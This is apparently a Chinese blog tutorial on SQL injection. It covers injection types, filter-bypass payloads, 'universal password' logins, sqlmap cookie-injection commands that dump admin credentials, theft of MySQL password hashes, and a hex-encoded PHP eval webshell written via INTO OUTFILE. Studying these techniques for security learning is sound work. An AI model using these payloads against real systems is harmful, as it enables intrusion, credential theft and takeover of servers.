web 第二部分 SQL注入(1)

二. SQL注入

https://www.w3schools.com/sql/func_mysql_concat.asp
SQL是结构化查询语言(Structured Query Language),对于数据库的库,表,字段等进行查询,而SQL注入原理是在进行数据库查询时,没有进行严格的检查,直接带入到数据库执行语句。这样不仅会通过一些系统函数暴露相关信息,也会通过特意构造的语句和先验信息,进一步获取有关数据库,表,字段等信息,进而得到管理员的账号密码等。

常用关键字:

  • SELECT用于查询 列名称 FROM 表名称,支持多列查询列名称1,列名称2,而SELECT * 是选择所有
  • WHERE条件语句 控制查询的条件 SELECT – -- WHERE USERNAME=‘SSYT’ (列名控制公式)
  • INSERT插入语句 可以全列插入 也可以插入指定的字段
  • UPDATE更新语句 针对所有字段和特殊字段
  • UNION 联合查询 支持进行多次的查询
  • LIKE 是另一个在WHERE子句中会用到的关键字。基本上,LIKE 能让我们依据一个套式 (pattern) 来找出我们要的资料。 语法–》select * from 表名 where 字段名 like 对应值(子串)。它主要是针对字符型字段的,它的作用是在一个字符型字段列中检索包含对应子串的。 [例子 admin’ or database() like ‘c%’ ]
  • SELECT * FROM Store_Information WHERE Store_Name LIKE ‘%AN%’; 三种模式–》 ABC%’: 所有以’ABC’起头的字串; ‘%XYZ’: 所有以 ‘XYZ’ 结尾的字串; ‘%AN%’: 所有含有 ‘AN’ 这个套式的字串。

函数关键字说明

  • union联合查询 就是一次查询多个;
  • select 数据库查询语句 ;
  • concat函数将一行的多个字符串连接到一起;
  • group_concat将多行组合起来显示(因为我们可以控制的显示位有限,所以将多个结果显示在一行),可以控制分
  • group_concat(字段名 separator ‘-’) and or xor等逻辑关键字也适用
    我们不仅可以执行关键的字段,也可以执行其中的内设函数,比如user(),database()等。这里需要注意的是,当使用or 1=1时 会查询所有符合的结果打印出来

常见过滤的绕过方法:

  • 空格过滤 --》均可以使用 %a0或/**/代替,也可以使用括号包围,原本括号就是用来包围子查询的
  • 注释 --》而后面的注释–+ 可以使用# 代替,不同的是#的编码是23% 。 绕过注释符号((前面一个空格)#,–(后面跟一个空格)过滤
  • 屏蔽关键字 --》可以在关键字中间插入<>绕过 绕过union,select,where等:常用注释符》
   (1) //,-- , /**/, #, --+, -- -, ;,%00,--a U/**/ NION /**/ SE/**/ LECT /**/user,pwd from user   
   (2)  id=-1'UnIoN/**/SeLeCT; 
   (3)  uni<>on se<>lect 
   (4)  双关键字绕过:foorr oorr 等。
   (5)  id=-1'/*!UnIoN*/ SeLeCT 1,2,concat(/*!table_name*/) FrOM /*information_schema*/.tables /*!WHERE *//*!TaBlE_ScHeMa*/ like database()#
   (6)  等价函数绕过,
  • 屏蔽’绕过 --》对于名称字符串,我们可以使用16进制表示,我们也可以使用\'绕过,使得第二个查询逃逸。
  • 逗号绕过 --》在使用盲注的时候,需要使用到substr(),mid(),limit。这些子句方法都需要使用到逗号。对于substr()和mid()这两个方法可以使用from to的方式来解决:
       select substr(database() from 1 for 1);
       select mid(database() from 1 for 1);
       使用join: union select 1,2 #等价于 union select * from (select 1)a join (select 2)b
  • 符号过滤 --》or and xor not绕过:and=&& or=|| xor=| not=!
  • =绕过 --》使用like 、rlike 、regexp 或者 使用< 或者 >
select * from (select database())a join (select version())b
//将数据库和版本的结果视作a,b两个表组合起来,通过select *返回所有结果

SELECT a.id, a.name, b.count, b.date FROM a INNER JOIN b ON a.id= b.id;
//将a,b两个表的查询中,id相等的列组合在一起

首先,连接的结果可以在逻辑上看作是由SELECT语句指定的列组成的新表。左连接与右连接的左右指的是以两张表中的哪一张为基准,它们都是外连接。

注入类型及方法

其实所有的类型都是根据数据库本身表的类型所产生的,在我们创建表的时候会发现其后总有个数据类型的限制,而不同的数据库又有不同的数据类型,所以就会有不同的注入类型

而在SQL查询语句中,数据类型的语法有三种,也就是我们上面所说的数字型,字符型,搜索型。语法如下:

数字型: SELECT 列 FROM 表 WHERE 数字型列=值 例如192.168.2.1:8808/admin.asp?id=1

字符型: SELECT 列 FROM 表 WHERE 字符型列=’值’ 例如账户密码验证的‘admin’ ‘password’

搜索型: SELECT * FROM 表 WHERE where 被搜索的列 like ‘%值%’

典型的数字型注入。查询时使用的是数字类型,这时我们就可以利用and 1=1和and 1=2判断方法来判断是否存在漏洞。

字符型查询语句中,我们输入的信息被单引号包含起来导致成为一个整体字符串id=1 and 1=1会变为“1 and 1=1”的ID查询,此时使用’ and ‘1’='1 和 'and ‘1’='2 这样的闭合字符型注入的判断语句

搜索型,比字符型每个字符串多了一对“%”,id=1查询时变为id=“%1%”,我们的就产生了“%1%’ and ‘%1%’=’%1%”和“%1%‘and ‘%1%’=’%2%”

总体来说各种注入类型之前唯一不同的就是查询中的闭合方式,而我们在入侵检测过程中就会根据测试的各种闭合方式来判断属于那种注入类型。

在实验中,Select user,password from admin类型的验证为字符型,我们使用1’ or ‘1(万能密码),对于有过滤的 我们可以采用其他逻辑或者字符代替被过滤的 或者使用一些函数来进行输入.对于实际中我们要考虑查询的其他条件,我们可以使用注释功能,常见-- 和# 等

(5)cookies注入
目标网站http://www.xxx.com/x.asp?id=1
1.在IE浏览器访问去掉参数(id=1)的url: http://www.xxx.com/x.asp?(加载页面,显示不正常,原因是没有输参数)。
2.在IE浏览器输入javascript:alert(document.cookie=“id=”+escape(“1”));(添加cookie信息),再次访问http://www.xxx.com/x.asp?(加载页面,显示正常)。此时这个网页就存在cookie注入,反之没有。
命令:sqlmap.py –u”url” --cookie “参数” --level 2 level>=2 表示采用cookies注入
测试能否注入 sqlmap.py –u “http://www.xxx.com/x.asp” --cookie “id=1” --level 2
查所有表 sqlmap.py –u”url” --cookie “id=1” --level 2 --tables
查询字段 sqlmap.py –u”url” --cookie “id=1” --level 2 --tables --dump –C “usernma,paasword” –T “admin”

(6)窃取哈希口令
MySQL在mysql.user表中存储哈希口令,哈希口令是通过使用PASSWORD()函数计算的。
https://bbs.ichunqiu.com/data/attachment/forum/201608/09/181039r17846t71stsscct.png
https://bbs.ichunqiu.com/data/attachment/forum/201608/09/181255ohoffzdfpd4tfrp9.png

(7)获取WebShell
利用SQL注入攻击获取WebShell其实就是在向服务器写文件。(注意:这里我们需要得到网站的绝对路径)所有常用的关系数据库管理系统(RDBMS)均包含内置的向服务器文件系统
写文件的功能。
在输入单引号的时候报错了得到了绝对路径 写文件要用到
select into outfile(dumpfile) //MySQL写文件命令
select “<?php echo 'test'; ?>” into outfile “F:\www\test.php”;
例子

age=25 union select 1,2,3,4,0x3c3f706870206576616c28245f504f53545b2774657374275d293f3e into outfile 'C:/appserv/www/mysqltest/shell1.php'
经过url编码之后为
age=25%20union%20select%201,2,3,4,0x3c3f706870206576616c28245f504f53545b2774657374275d293f3e%20into%20outfile%20%27C:/appserv/www/mysqltest/shell1.php%27 

其中 0x3c3f706870206576616c28245f504f53545b2774657374275d293f3e为hex编码的<?php eval($_POST['test'])?>

写的文件名一定要是不存在的,不然就会不成功,这里的路径要用/,如果要用\的话,就要用\转移成一个\ 如C:\appserv\www\mysqltest\shell1.php

关于获取shell,我们的sqlmap也是可以做到的,而且更加的方便,几个命令的事

猜你喜欢

转载自blog.csdn.net/iamsongyu/article/details/82968936